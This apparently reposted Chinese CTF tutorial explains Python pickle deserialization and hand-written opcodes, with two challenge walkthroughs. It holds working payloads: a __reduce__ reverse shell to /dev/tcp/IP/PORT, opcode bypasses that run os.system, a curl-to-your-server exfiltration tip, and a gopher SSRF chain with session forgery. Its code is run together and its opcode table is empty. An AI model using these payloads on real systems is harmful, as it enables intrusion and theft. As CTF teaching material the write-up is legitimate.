一. pickle模块
1.1 什么是pickle模块
pickle模块是Python的标准库之一,用于实现对象的序列化和反序列化。它可以将Python对象转换为字节流(serialization),并在需要时重新恢复(deserialization)成相同的对象。通过pickle模块,你可以将Python对象存储到磁盘或通过网络传输,并在需要时重新加载,以方便数据的保存和传递。pickle模块支持几乎所有的Python数据类型,包括自定义类和对象。
1.2 常用函数
在实际应用中常见的是下面两个函数
pickle.dump(obj, file, [,protocol])功能:将obj对象序列化存入已经打开的file中。参数:obj:想要序列化的obj对象。file:文件名称。protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
pickle.load(file)功能:将file中的对象序列化读出。参数:file:文件名称。
而在CTF中常见的则是以下两个函数
pickle.dumps(obj[, protocol])功能:将obj对象序列化为string形式,而不是存入文件中。参数:obj:想要序列化的obj对象。protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
pickle.loads(string)功能:从string中读出序列化前的obj对象。参数:string:文件名称。
1.3 魔术方法
这里这里只介绍与漏洞有关的魔术方法
_reduce_
构造方法,在反序列化的时候自动执行,类似于php中的_wake_
_setstate_
在反序列化时自动执行。它可以在对象从其序列化状态恢复时,对对象进行自定义的状态还原。
二. 例题[[BUUOJ]HFCTF 2021 Final]
2.1 题目分析
#!/usr/bin/python3.6import osimport picklefrom base64 import b64decodefrom flask import Flask, request, render_template, sessionapp = Flask(__name__)app.config["SECRET_KEY"] = "*******"User = type('User', (object,), {'uname': 'test','is_admin': 0,'__repr__': lambda o: o.uname,})@app.route('/', methods=('GET',))defindex_handler():ifnot session.get('u'): u = pickle.dumps(User()) session['u'] = ureturn"/file?file=index.js"@app.route('/file', methods=('GET',))deffile_handler(): path = request.args.get('file') path = os.path.join('static', path)ifnot os.path.exists(path) or os.path.isdir(path) or'.py'in path or'.sh'in path or'..'in path or"flag"in path:return'disallowed'with open(path, 'r') as fp: content = fp.read()return content@app.route('/admin', methods=('GET',))defadmin_handler():try: u = session.get('u')if isinstance(u, dict): u = b64decode(u.get('b')) u = pickle.loads(u)except Exception:return'uhh?'if u.is_admin == 1:return'welcome, admin'else:return'who are you?'if __name__ == '__main__': app.run('0.0.0.0', port=80, debug=False)
关键代码为以下部分
defadmin_handler():try: u = session.get('u')if isinstance(u, dict): u = b64decode(u.get('b')) u = pickle.loads(u)
这道题没有任何的过滤,直接传入自定义构造方法的User对象,pickle.loads进行反序列化,然后即可实现Rce
2.2 payload
import picklefrom base64 import b64encodeimport osUser = type('User', (object,), {'uname': 'tyskill','is_admin': 0,'__repr__': lambda o: o.uname,# 添加__reduce__方法RCE'__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'",)) //反序列化时自动调用,反弹shell})u = pickle.dumps(User())print(b64encode(u).decode())
不经base64加密输出为: 这里到下面opcode部分有用
b"x80x04x95<x00x00x00x00x00x00x00x8cx02ntx8cx06systemx93x8c*bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'x85R."
三. opcode编写
3.1 为什么要用到opcode
由于单一的__reduce__方法已经被考烂了,现在很多题目都有以下过滤
ifb'R'in code orb'built'in code orb'setstate'in code orb'flag'in code
可以看到过滤了字节R,在序列化(上面例题payload的最后一个字符)的opcode中字节R对应的是__reduce__构造方法,故这种情况无法使用构造方法进行Rce,需要编写opcode
3.2 什么是opcode
Python 的 opcode(operation code)是一组原始指令,用于在 Python 解释器中执行字节码。每个 opcode都是是一个标识符,代表一种特定的操作或指令。 在 Python 中,源代码首先被编译为字节码,然后由解释器逐条执行字节码指令。这些指令以 opcode 的形式存储在字节码对象中,并由Python 解释器按顺序解释和执行。
每个 opcode 都有其特定的功能,用于执行不同的操作,例如变量加载、函数调用、数值运算、控制流程等。Python 提供了大量的 opcode,以支持各种操作和语言特性。
3.3 常见的指令符
|
|
|
|
|
---|---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
3.4 opcode执行原理
涉及到出栈入栈,对照上面的指令即可看懂 示例流程图:
3.5 R指令被禁绕过
在R指令被禁用时我们可以使用 o 、i 来进行绕过,这里重点提一下 b 以下是pickle中b指令对应的源码
这里的实现方式也就是上文的注所提到的:如果inst(传入的对象)拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到 inst.__dict__(对象中的属性)里面。
利用思路:如果一个类原先没有__setstate__方法。那么我们利用{'setstate': os.system}来BUILE这个对象,那么现在对象的__setstate__就变成了os.system;接下来利用"ls /"来再次BUILD这个对象,则会执行setstate("ls /") ,而此时__setstate__已经被我们设置为os.system,因此实现了RCE.
payload如下:
payload = b'x80x03c__main__nExamplen)x81}(V__setstate__ncosnsystemnubVls /nb.'
首先用 ) 压入空元组,然后x81用空元组实例化Example对象,然后用 ( 压入MARK,然后压入空字典,用u把{'setstate': os.system}压入空字典,然后用b设置对象里的属性为刚才的字典里的属性,然后再次用b传入“ls /”,检测到inst(传入的对象)拥有__setstate__方法,**则把state交给__setstate__方法来处理,即执行
os.system(ls /)
3.6 构造示例
以下从R 、 i 、 o 三个方向构造编写的命令执行的opcode,可以借鉴参考一下
R :
b'''cossystem(S'whoami'tR.'''
i :
b'''(S'whoami'iossystem.'''
o :
b'''(cossystemS'whoami'o.'''
3.7 一些tips
一、其他模块的load也可以触发pickle反序列化漏洞。例如:numpy.load()先尝试以numpy自己的数据格式导入;如果失败,则尝试以pickle的格式导入。因此numpy.load()也可以触发pickle反序列化漏洞。
二、即使代码中没有import os,GLOBAL指令也可以自动导入os.system。因此,不能认为“我不在代码里面导入os库,pickle反序列化的时候就不能执行os.system”。
三、即使没有回显,也可以很方便地调试恶意代码。只需要拥有一台公网服务器,执行os.system('curl your_server/
ls / | base64
),然后查询服务器日志,就能看到结果。这是因为:以`引号包含的代码,在sh中会直接执行,返回其结果。
四. 例题 长城杯[seeking]
4.1 题目分析
首页源码
<?phperror_reporting(0);header("HINT:POST n = range(1,10)");$image = $_GET['image'];echo"这里什么也没有,或许吧。";$allow = range(1, 10);shuffle($allow);if (($_POST['n'] == $allow[0])) {if(isset($image)){ $image = base64_decode($image); $data = base64_encode(file_get_contents($image));echo"your image is".base64_encode($image)."</br>";echo"<img src='data:image/png;base64,$data'/>"; }else{ $data = base64_encode(file_get_contents("tupian.png"));echo"no image get,default img is dHVwaWFuLHBuZw==";echo"<img src='data:image/png;base64,$data'/>"; }}
这里存在一个随机数的比较绕过,网上查了下这个函数没啥漏洞,采取1-10爆破的方法进行绕过
然后我们可以用file或者filter伪协议通过file_get_contents()函数读取文件
根据提示图片中含有信息,并且bash记录中也有信心,在首页图片中分离出一个7Z的压缩包,web题里也有misc
压缩包中含有一个名为 secret.txt的文本文本,打开发现有 M0sT_D4nger0us.php
用file协议读取该php文件内容
<?php$url=$_GET['url'];$curlobj = curl_init($url);curl_setopt($curlobj, CURLOPT_HEADER, 0);curl_exec($curlobj);?>
发现该题为ssrf
然后根据提示读取secret用户的bash记录
M0sT_D4nger0us.php?url=/home/secret/.bashhistory
发现开启了一个Python的web服务
然后利用file协议读取app.py的内容
M0sT_D4nger0us.php?url=/home/secret/Ez_Pickle/app.py
发现该web服务的地址为 127.0.0.1:5555
#!/usr/bin/python3.6import osimport picklefrom base64 import b64decodefrom flask import Flask, sessionapp = Flask(__name__)app.config["SECRET_KEY"] = "idontwantyoutoknowthis"User = type('User', (object,), {'uname': 'xxx','__repr__': lambda o: o.uname,})@app.route('/', methods=('GET','POST'))defindex_handler(): u = pickle.dumps(User()) session['u'] = ureturn"这里啥都没有,我只知道有个路由的名字和python常用的的一个序列化的包的名字一样哎"@app.route('/pickle', methods=('GET','POST'))defpickle_handler():try: u = session.get('a')if isinstance(u, dict): code = b64decode(u.get('b'))ifb'R'in code orb'built'in code orb'setstate'in code orb'flag'in code: print(code)return"what do you want???" result=pickle.loads(code)return resultelse:return"almost there"except:return"error"if __name__ == '__main__': app.run('127.0.0.1', port=5555, debug=False)
考点就是pickle反序列化加opcode构造+gopher协议+session伪造
但是存在过滤
ifb'R'in code orb'built'in code orb'setstate'in code orb'flag'in code
这就是典型的R指令被禁的情况
4.1 payload
这道题有很多种opcode,任选其一即可
-
o指令绕过
payload1 = b'''(cossystemS'cat /f* > /tmp/a'o.'''
先是用 ( 入栈一个MARK,然后用 c 导入os.system()函数入栈,然后用 S 定义字符串并入栈,最后用 o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数,结果是os.system(cat /f* > /tmp/a'o), 点号是结束的意思
2. b指令绕过
payload2 =(c__main__Usero}(S"\x5f\x5f\x73\x65\x74\x73\x74\x61\x74\x65\x5f\x5f" //__setstate__cossystemubS"cat /ffl14aaaaaaagg>/tmp/gkjzjh146"b.
这里的原理与文章3.5 R指令绕过原理相同
编写好opcode,然后用脚本加密并gopher发包加密
import base64import picklepayload = b'''(cossystemS'cat /f* > /tmp/a'o.'''# ls / > /tmp/a 得到flag名称code = payloadpayload = base64.b64encode(code)a = {'b': payload}session = {}session['a'] = aprint(session)
然后将结果进行session伪造
gopher发送
import urllib.parsea ='''GET /pickle HTTP/1.1Host: 127.0.0.1:5555Cookie: session=eyJhIjp7ImIiOiJLR052Y3dwemVYTjBaVzBLVXlkallYUWdMMllxSUQ0Z0wzUnRjQzloSndwdkxnPT0ifX0.ZPlszQ.mXPJEIl_a5JbUlHndOy5WOceS2s'''tmp = urllib.parse.quote(a)new = tmp.replace('%0A','%0D%0A')result = 'gopher://127.0.0.1:5555/' + '_' + newprint(result)
文末:
欢迎师傅们加入我们:
星盟安全团队纳新群1:222328705
星盟安全团队纳新群2:346014666
有兴趣的师傅欢迎一起来讨论!
PS:团队纳新简历投递邮箱:
责任编辑:@Elite
原文始发于微信公众号(星盟安全):【Python】pickle反序列化及opcode编写
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论